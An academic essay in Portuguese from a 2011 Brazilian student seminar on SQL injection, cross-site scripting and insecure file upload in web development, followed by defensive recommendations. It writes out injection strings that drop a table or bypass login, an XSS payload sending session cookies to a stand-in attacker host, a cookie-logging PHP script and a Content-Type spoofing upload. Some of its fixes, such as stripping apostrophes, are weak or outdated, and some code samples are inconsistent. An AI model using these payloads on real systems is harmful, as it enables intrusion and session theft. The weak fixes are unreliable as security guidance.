Modalidade do trabalho: Ensaio teórico
Evento: 2011 SIC - XIX Seminário de Iniciação Científica

USO DE BOAS PRÁTICAS DE SEGURANÇA NO TRATAMENTO DAS PRINCIPAIS VULNERABILIDADES DE SOFTWARE NO DESENVOLVIMENTO PARA WEB[1]

Paulo Henrique De Souza Oliveira[2], Alencar Machado[3].

[1] Trabalho de pesquisa desenvolvido no Componente Curricular "Segurança Computacional" do curso de Ciência da Computação da Unijuí.

[2] Aluno do curso de Ciência da Computação da UNIJUÍ. phike86@hotmail.com

[3] Professor da Unijuí. alencar.machado@unijui.edu.br

Resumo

Este trabalho objetiva apresentar algumas das mais comuns formas de ataque à páginas de internet e propor soluções em software para proteção das mesmas.

Palavras Chave: Vulnerabilidade, Ataque, Hacking, Programação Web.

Introdução

Diante do atual cenário da internet, onde ataques a sites de organizações públicas e privadas estão cada vez mais comuns, é fundamental que os profissionais das áreas de Tecnologia implantem rigorosas políticas de segurança, não só para cumprimento do usuário final, como também no próprio desenvolvimento, estudando e corrigindo riscos que possam ser explorados por pessoas e softwares mal intencionados.

Diante dessa necessidade, este estudo busca demonstrar algumas das mais conhecidas ameaças presentes no desenvolvimento para web, no intuito de alertar os programadores quanto a necessidade de proteção de seus sistemas e oferecer mecanismos de avaliação da segurança.

É sabido que os próprios ambientes de desenvolvimento, sistemas operacionais, servidores, e muitos outros softwares específicos já oferecem um bom nível de segurança, o que muitas vezes torna o desenvolvedor despreocupado, com uma falsa ilusão de invulnerabilidade, entretanto, fatos recentes de ataques a órgãos públicos brasileiros tidos como confiáveis, nos deixaram o alerta para o crescente terrorismo invisível sem restrições geográficas[6].

Não é intenção desse estudo demonstrar métodos de hacking nem mapear todas as ameaças da hospedagem de sistemas remotos, pois isso incluiria a preocupação com servidores de páginas e servidores back-end responsáveis pelos serviços de segurança, armazenamento de dados, recursos disponibilizados pelo hospedeiro, etc.

Ao invés disso, este trabalho está focado em apresentar falhas comuns no desenvolvimento da aplicação de internet, mostrando técnicas baseadas em boas práticas de programação para contornar as possíveis vulnerabilidades exploradas pelos criminosos.

Modalidade do trabalho: Ensaio teórico
Evento: 2011 SIC - XIX Seminário de Iniciação Científica

Para maior organização este texto apresenta na seção 2 algumas definições importantes, conceituando três dos mais comuns ataques, a saber, Injeção de SQl, Cross-site Scripting e Formulário de Atualização, sendo que na seção seguinte (seção 3), serão apresentadas, para cada um deles, as formas de proteção recomendadas.

FORMAS COMUNS DE ATAQUE

Na última semana do mês de junho de 2011, os brasileiros acompanharam atônitos a exposição da vulnerabilidade da segurança da internet. Os hackers causaram lentidão, expuseram informações sigilosas e até tiraram do ar sites como o Portal Brasil e vários sites Oficiais: da Presidência, do Senado e dos Ministérios do Esporte e da Cultura, do IBGE, da Petrobrás e da Receita Federal[1].

Um elemento comum observado nos sites atacados é a presença de formulários. Esses elementos são imprescindíveis para a interação com os usuários, estando presentes quase na totalidade dos sites, possibilitando um contato do usuário com o banco de dados do sistema, seja para uma simples autenticação ou mesmo postagem de informações que podem ou não ser publicadas imediatamente (no caso de páginas dinâmicas).

Percebemos que estamos diante de um impasse, uma vez que, quanto maior a interação do usuário, maior a dificuldade de prover segurança para a aplicação.

Partindo do princípio que a função primordial da informática e, consequentemente, das redes de computadores, é promover interatividade, precisamos, enquanto programadores, estar preparados para criar sistemas seguros, confiáveis e interativos, tanto quanto possível.

A seguir três das mais conhecidas formas de ataque a páginas web.

1 SQL Injection

A SQL - Structured Query Language - é uma linguagem grandemente usada para interagir com banco de dados relacionais. Estima-se que 90% das aplicações utiliza essa linguagem para comunicação com banco de dados, o que a torna praticamente uma unanimidade.

Em se falando de aplicações Web temos uma grande utilização de banco de dados para armazenar as mais diversas informações: endereços e documentos pessoais, contas e valores financeiros, números de cartões de crédito, dados empresariais, etc.

Conforme comentado, ao colocar uma aplicação na web, todas essas informações se tornam vulneráveis e acessáveis por qualquer pessoa que tenha acesso a sua url. Pensando na segurança de suas informações as empresas investem pesado em firewalls, certificação digital e outros recursos, com o objetivo de se proteger de invasores.

Para controlar o acesso às informações normalmente restringe-se o acesso aos usuários cadastrados usando um nome e senha para identificação; estes dados são colhidos através de um formulário de login e são então verificados com as informações armazenadas em um banco de dados dos usuários cadastrados; se estiverem corretas o acesso é permitido caso contrário o acesso é negado.

Você pode ter o aparato mais moderno em termos de tecnologia de segurança protegendo o seu site de um ataque hacker e nem se dar conta de que a vulnerabilidade da sua

Modalidade do trabalho: Ensaio teórico
Evento: 2011 SIC - XIX Seminário de Iniciação Científica

aplicação esta ali naquele formulário de login. Ele pode ser a porta de entrada para ataques maliciosos através da injeção de SQL.

A injeção SQL ocorre quando um invasor consegue inserir comandos SQL na instrução SQL que você usa no seu script de modo a burlar a restrição e ter acesso ou danificar as informações armazenadas no seu banco de dados[2].

Vamos analisar o que ocorre quando um usuário tenta se autenticar. Supondo que ele é um usuário cadastrado como ‘henrique’ com senha ‘12345’. Ao informar o nome e a senha e clicar no botão Enviar o script do arquivo login.asp será executado. Neste caso a SQL montada seria:

```
select count(*) from usuarios where nomeUsuario='henrique' and senhaUsuario='12345'
```

Figura 1 – Modelo de estrutura de construção select na SQL

Neste caso o usuário henrique, senha 12345 será autenticado e terá acesso ao sistema. Um desenvolvedor pouco atento, não perceberá que o texto final da consulta SQL depende inteiramente do conteúdo das variáveis e se o conteúdo destas variáveis não for validado e tratado o texto final concatenado poderá ser um SQL adulterado através de uma injeção SQL.

Para exemplificar essa possibilidade vamos supor que um hacker decidiu invadir sua página. Uma das primeiras coisas que ele pode fazer é tentar uma injeção SQL , e, vai começar verificando se você esta tratando o apóstrofe (') que é usado para delimitar strings de texto. Então suponha que ele digite os seguintes dados nos campos nome e senha:

```
nome = tes'te
senha =
```

Figura 2 – exemplo de inserção maliciosa para teste de vulnerabilidade

Se você não tratar o apóstrofe vai ocorrer um erro de SQL (incorrect Sintax) e , se seu sistema informar isso ao usuário, o invasor reconhecerá uma possível vulnerabilidade.

Então, a seguir ele poderá digitar os seguintes dados

```
nome = ' ; drop table users--
senha =
```

Figura 3 – Injeção de SQL para exclusão da tabela ‘USERS’

Este comando irá excluir a tabela users (se ela existir). Isto é possível, pois o caractere (;) indica o fim de uma consulta e o começo de outra em T-SQL , e , o caractere (--) comenta o restante do comando predefinido no formulário.

Continuando o ataque, ele pode também informar o seguinte

```
nome = admin
senha = ' or 1=1--
select count(*) from usuarios where nomeUsuario='admin' and senhaUsuario='' or 1=1--'
```

Figura 4 – Injeção de SQL para login de Administrador e solicitação SQL montada pelo sistema

Modalidade do trabalho: Ensaio teórico
Evento: 2011 SIC - XIX Seminário de Iniciação Científica

Aqui a consulta irá verificar se o nome do usuário é admin e se senha é vazio ou 1 for igual a 1 (o que sempre será verdade) e, portanto o login está autorizado.

Com esses exemplos simples já pudemo perceber a gravidade do problema e imaginar a gama de possibilidades do invasor que descobre esta falha d segurança.

2 Cross-site Scripting

XSS ou cross-site scripting, representa o fato de injetar o código HTML, javascript... na página Web através de um formulário ou uma URL contendo o JavaScript recodificado para enganar o usuário.

O princípio é muito simples e não requer muitos conhecimentos em desenvolvimento, um simples pré-requisito em HTML, PHP e Javascript já serve para poder, rapidamente roubar informações como o cookie, que contém as configurações de conexão de um usuário através de um redirecionamento JavaScript[4]. Estas informações poderão ser usadas mais tarde para se conectar à conta de um usuário, sem login ou senha. A primeira ideia consiste em enviar o JavaScript em um formulário onde as informações serão publicadas no site (por exemplo, um perfil). O Atacante envia um e-mail utilizando a técnica conhecida como Phishing com um link do site do banco dele porém o link está modificado (XSS) onde ele o redireciona para uma página idêntica ao banco dele para efetuar login.

Mas quando ele efetuar o login nessa página falsa com certeza irá perceber que ele não está no sistema do banco dele pois não irá acontecer nada. Entretanto é possível capturar os nomes das variáveis que serão passadas pelo método POST ou GET e modificar a página falsa para passar os parâmetros para a página verdadeira salvando antes esses dados no servidor.

```
<?php
$nome=$_GET['user'];
echo "Usuário: $nome";
?>
```

Figura 5 – Exemplo de página vulnerável à XSS

Quando temos uma página php e temos uma zona <?php ?> e vamos precisar de alguma forma utilizar de comandos html ou javascript esses comandos por regra devem estar dentro de echo para funcionar corretamente. Então se alterarmos essa variável que será passada pelo método GET podemos injetar códigos html ou javascript.

Para exemplificar, digamos que o link onde está essa página seja http://www.site.com.br/usuarios.php.

Vamos supor que a página principal faz um include dessa passando o nome de usuário da seguinte forma: http://www.site.com.br/index.php?user=henrique, entretanto, poderíamos ao invés disso, passar os parâmetros: http://www.site. com.br/index.php? user=<script>alert(“ESTOU AQUI HENR IQUE OLIVEIRA!!!”);</script>

```
<?php
$nome=$_GET['user'];
echo "Usuário: <script>alert("ESTOU AQUI HENRIQUE OLIVEIRA!!!");</script>";
```

```
?>
```

Figura 6 – Resultado da injeção de código na página vulnerável

Então o script será executado pois o mesmo se encontra dentro do comando echo. Como podemos trabalhar com javascript vamos tentar pegar cookies. Para entendermos essa possibilidade, vamos analisar o código a seguir

```
<?php
$cookie=$_GET['cookie'];//Capturo os valores passados por cookie
$abrir=  'cookie.txt';// Escrevo cookie.txt dentro da variável abrir
$fp=fopen($abrir,'a');// Uso da função fopen, 'a' indica que sempre vou estar posicionando o ponteiro  no final do arquivo
fwrite($fp, $cookie);//Escrevo no arquivo com o comando fwrite os valores contidos na //variável cookie
fclose($fp);// Fecho o Arquivo
?>
```

Figura 7 – Construção para captura do cookie

```
http://www.site.com.br/index.php?user
=<script>document.location=”http://invasor.com/cokar.php?cookie=”+document.cookie</script>
```

Figura 8 – Script passado para a pagina vulnerável para redirecionamento e captura do cookie pela página da figura 7.

Para evitar que o usuário atento perceba o redirecionamento, é possível adicionar código “inútil”, com a finalidade de camuflar a construção. Abaixo uma forma simples de fazer isso

```
http://www.site.com.br/index.php?user =<%3D%3Cscript%3Edocument.location%3D%22http%3A%2F
%2Finvasor.com%2Fcokar.php%3Fcookie%3D%22+document .cookie%3C%2Fscript%3E
```

Figura 9 – Texto da URL adulterado

Ao usuário executar se ele estiver autenticado no site.com.br no invasor.com/cookies.txt terá algo parecido com

```
PHPSESSID=jab1idd4ui0c7p8juf8cnm48j6
```

Figura 10 – Seção roubada

Pronto temos o cookie em mãos agora basta algumas modificações simples e conseguiremos autenticar no site.

3 Formulário de Atualização

Formulário para enviar arquivos ao servidor de um site, como imagens, arquivo Word, Excel. Usado por um hacker, o envio do arquivo para o site, através do formulário é, de longe, a melhor maneira causar danos. No caso do seu controle ser negligenciado, ou mal feito, ele oferece a possibilidade de enviar arquivos PHP diretamente ao servidor e fornece, ao hacker, uma passarela de acesso direto ao servidor, que hospeda o site.

Nem todos os casos serão explicadas. Neste exemplo será tratada a passagem do arquivo PHP através da usurpação do "content type". O código abaixo foi recuperado no:

http://phpcodeur.net/articles/php/upload (Neste artigo, o código protege a falha do byte nulo através de uma regex que verifique o tipo MIME, mas o controle $ não é suficiente. O envio de um arquivo PHP não é muito complicado.

```
if( isset($_POST['upload']) ) // se o formulário foi submetido
{
   $content_dir = 'upload/'; // pasta onde o arquivo será movido
   $tmp_file = $_FILES['fichier']['tmp_name'];
   if( !is_uploaded_file($tmp_file) ) {
      exit("Arquivo não encontrado");
   }
   // Agora vamos verificar a extensão
   $type_file = $_FILES['arquivo']['tipo'];
   if( !strstr($type_file, 'jpg') && !strstr($type_file, 'jpeg') && !strstr($type_file, 'bmp') && !strstr($type_file, 'gif') ) {
      exit("O arquivo não é uma imagem");
   }
   // copiamos o arquivo na pasta de destino
   $name_file = $_FILES['arquivo']['name'];
   if( !move_uploaded_file($tmp_file, $content_dir . $name_file) ) {
      exit("Impossível copiar o arquivo no $content_dir");
   }
   echo "O arquivo foi atualizado com êxito";
}
```

Figura 10 – Envio de página PHP para o servidor web

A abordagem para passar o controle do formulário é muito simples. Existem várias maneiras de alterar os dados: uma solução simples consiste em usar um plugin Mozilla, chamado "tamper data", que tem por objetivo, modificar os dados que trafegam entre a página e o servidor, durante a submissão do formulário. Iniciada a alteração no plugin e o arquivo PHP submetido através do formulário

```
-----------------------------74702573920666\r\nContent-Disposição: form-data; name="photo";
filename="index.php.php"\r\nContent-Type: application/x-httpd-php\r\n\r\n.
```

Figura 11 – Dados transmitidos (tamper data)

Na verdade, se você não mexer em nada e deixar a pesquisa HTTP continuar, normalmente, então o código seguinte terá o efeito desejado, seja o de parar o script e exibir a mensagem de erro. O arquivo não é uma imagem.

```
$type_file = $_FILES['fichier']['type'];
if( !strstr($type_file, 'jpg') && !strstr($type_file, 'jpeg') && !strstr($type_file, 'bmp') && !strstr($type_file, 'gif') ) {
      exit("O aarquivo não é uma imagem.");
}
```

Figura 12 – Código simples de verificação de formato de arquivo

Mas alguns usuários mal-intencionados não hesitarão em substituir o Content-Type:application/x-httpd-php por Content-Type:image/jpeg. Aqui, todo mundo entende que o código não exibirá erro porque o "content type" é do tipo jpeg, enquanto que o arquivo enviado é um arquivo PHP.

Modalidade do trabalho: Ensaio teórico
Evento: 2011 SIC - XIX Seminário de Iniciação Científica

EVITANDO ATAQUES

Baseados na seção anterior, pudemos perceber a necessidade de se pensar em segurança durante o projeto e construção de um sistema disponibilizado em qualquer tipo de rede, uma vez que, os três métodos citados são apenas algumas das formas usadas hoje para explorar vulnerabilidades de software.

Entretanto, apesar de eficazes, ambos os métodos dependem da imperícia ou mesmo do descuido dos desenvolvedores que acabam não tratando as vulnerabilidades do sistema de forma adequada.

Todas as ameaças tem o mesmo objetivo e, portanto características de ação em comum, entretanto cada uma deve ser tratada separadamente. A seguir serão mostradas algumas sugestões práticas de solução das referidas ameaças via programação, devendo essas sugestões servir como orientação para a correção das vulnerabilidades, devendo ser feitas adaptações para cada problema dentro de sua especificidade.

1 SQL Injection

Uma forma relativamente simples e eficaz de proteção [5]é separar a exibição de erros em dois ambientes, o ambiente de desenvolvimento e o ambiente de produção. O ambiente de desenvolvimento pode ter qualquer tipo de erro emitido na tela, afinal, você precisa ver os erros para tratá-los, no ambiente de produção entretanto isso não é necessário e qualquer erro pode ser uma pista para o hacker descobrir detalhes sobre o seu ambiente.

```
Ambiente de Desenvolvimento
<?php error_reporting(E_ALL ^ E_NOTICE);  ?>
Ambiente de Produção
<?php error_reporting(0);  ?>
```

Figura 13 – mensagens de erros nos ambientes de produção e desenvolvimento

Além disso, deve-se filtrar todo o tipo de variável dados que vem de urls ou inputs de formulário $_GET ou $_POST para que nenhum dos dados inputados pelo usuário possa ser interpretado como parte da instrução SQL.

Vale lembrar que o certo seria utilizarmos PDO que já tem uma proteção definitiva contra isso, pois ele tem o acesso ao modelo do seu banco de dados e pode fazer muito melhor do que uma simples filtrarem generica nos campos, ele pode filtrar cada campo dependendo do tipo de cada campo o que é muito melhor.

Caso você não use PDO, você pode utilizar também uma função chamada mysql_real_escape_string que também cumpre o que promete.

Está solução é válida apenas para as pessoas que não utiliza nenhuma das 2 (duas) soluções citadas acima.

Abaixo seguem alguns exemplos de verificação de parâmetros em algumas linguagens utilizando a função Replace.

Modalidade do trabalho: Ensaio teórico
Evento: 2011 SIC - XIX Seminário de Iniciação Científica

Obs.: A função Replace substitui um caractere por outro. Nos exemplos abaixo utilizaremos esta função para remover o caractere ' (aspa simples). Faremos isso substituindo-o por um parâmetro vazio ("" - abrir e fechar aspas duplas sem nada entre elas).

```
ASP (VB)
 Dim usuario = Request.Form("user")
 usuario = Replace(usuario, "'", "")
ASP.NET (C#)
 String usuario = Request.Form["user"];
 usuario = usuario.Replace("'","");
PHP
 $usuario = $_POST['user'];
 $usuario = str_replace("'", "", $usuario);
```

Figura 14 – Eliminação da apóstrofe nos campos de formulário nas linguagens ASP, ASP.NET e PHP.

2 Cross-site Scripting

A primeira forma de proteger uma aplicação web contra ataques de XSS é garantir que a aplicação valide todos os dados que receber como entrada[5], incluindo headers, campos de formulários, cookies, strings de consulta e campos escondidos (hidden fields).

A codificação dos dados fornecidos pelo usuário também deve ser usada para impedir a exploração de vulnerabilidades de XSS por evitar que os scripts inseridos ilegalmente sejam transmitidos aos usuários da aplicação num formato executável. As aplicações podem ser proteger de ataques baseados em Javascript convertendo os caracteres enviados para o browser do usuário para escape codes do HTML (<, > e (por exemplo). Esta conversão pode ser feita pelo uso de bibliotecas como a Apache Commons Lang (classe StringEscapeUtils, URL: http://commons.apache.org/lang/) ou a OWASP ESAPI (classe DefaultEncoder, URL: http://www.owasp.org/index.php/ESAPI).

Em suma, a proteção contra XSS deve ocorrer de duas formas:

1.Validação das entradas e 2.Codificação da saída (página web), conforme descrito acima[3].

3 Formulário de Atualização

Ao contrário das falhas XSS e SQL , uma atualização de arquivo em PHP é mais difícil de proteger e exige mais competências técnicas. Um site com brechas de segurança em termos de atualização será hackeado na primeira ocasião, proporcionará não só, um controle total do seu site, como de todo o servidor, em função da configuração (PHP: Utilização dos comandos exec, shell_exec). Este tipo de falha é, frequentemente, encontrado em interfaces de administração (BackOffice) e aplicação Web, pois os desenvolvedores partem do princípio que um BackOffice é um lugar seguro e utilizado apenas pelos administradores, mas cuidado com o dia em que um hacker conseguirá se infiltrar na interface[5].

Considerações Finais

Temos acompanhado um estrondoso crescimento no número de desenvolvedores de sistemas, entretanto esses números também consideram os leigos e auto-didatas que detém um

grande conhecimento de codificação mas, por não possuírem uma cultura multidisciplinar da área de tecnologia da informação, acabam por não considerar fatores importantes de projeto, dentre os quais a segurança.

Este texto buscou apresentar algumas questões práticas pertinentes especificamente ao desenvolvimento para aplicações web, demonstrando através de exemplos simples, como um pequeno descuido na codificação pode comprometer completamente a segurança das informações disponíveis, desde a exclusão de bancos de dados até aceso não autorizado a informações confidenciais.

Resumidamente foram abordados três dos principais problemas atuais, isso não significa que os temas foram completamente explorados e nem que são os únicos problemas de vulnerabilidade.

A organização do artigo foi relativamente simples, sendo que a seção 3 apresentou algumas propostas de solução para os problemas levantados na seção 2. Tais soluções apesar de simples são bastante eficazes e capazes de garantir a integridade das aplicações contra a maioria dos ataques conhecidos.

É evidente que na mesma proporção que as propostas de solução surgem, os problemas ganham novas formas e o nível de dificuldade dos desenvolvedores aumenta a cada nova ameaça encontrada. Quero dizer com isso que mesmo implementando rigorosas políticas de segurança tanto no nível da engenharia social quanto no nível dos complexos servidores de segurança, só existe plena segurança até a descoberta de uma nova e, por vezes fatal, ameaça.

Para finalizar, cabe frisar que o foco deste texto é estritamente acadêmico e de âmbito regional, baseado na realidade da região pertinente a Universidade, devendo servir como base de pesquisa aos iniciantes da área de desenvolvimento web. Devido a isso, não foram abordados níveis inferiores de programação nem tampouco ataques mais complexos como os distribuídos, que demandariam uma associação com serviços de segurança.

Referências

[1] Revista ÉPOCA. Ed 27 junho 2011 | nº 684. Editora Globo. 2011.
[2] Biblioteca Microsoft. Injeção SQL - SQL Server 2008 R2. Disponível em: http://msdn.microsoft.com/pt-br/library/ms161953.aspx. Cessado em: 26/07/201.
[3] VIEIRA, Luiz. Como posso proteger-me contra ataques XSS. Disponível em: http://www.vivaolinux.com.br/artigo/XSS-Cross-Site-Scripting?pagina=5. Acessado em: 26/07/2011.
[4] MORAES, Marcelo. Proteção contra XSS (Entendendo o Ataque). Disponível em: http://www.forum-invaders.com.br/vb/showthread.php/39227-Prote%C3%A7%C3%A3o-contra-XSS-(Entendendo-o-Ataque). Acessado em: 26/07/2011.
[5] BABLON, Arnauld. PHP erreurs courantes [Sql, Script, upload]. Disponível em: http://www.commentcamarche.net/faq/30686-php-erreurs-courantes-injection-sql-xss-upload. Acessado em: 26/07/2011.
[6] HESSEL, Heverton. Por que se preocupar com a segurança da informação?. Disponível em: http://www.artigos.com/

artigos/exatas/tecnologia/por-que-se-preocupar-com-a-seguranca-da-informacao?-591/artigo/. Acessado em 26/07/2011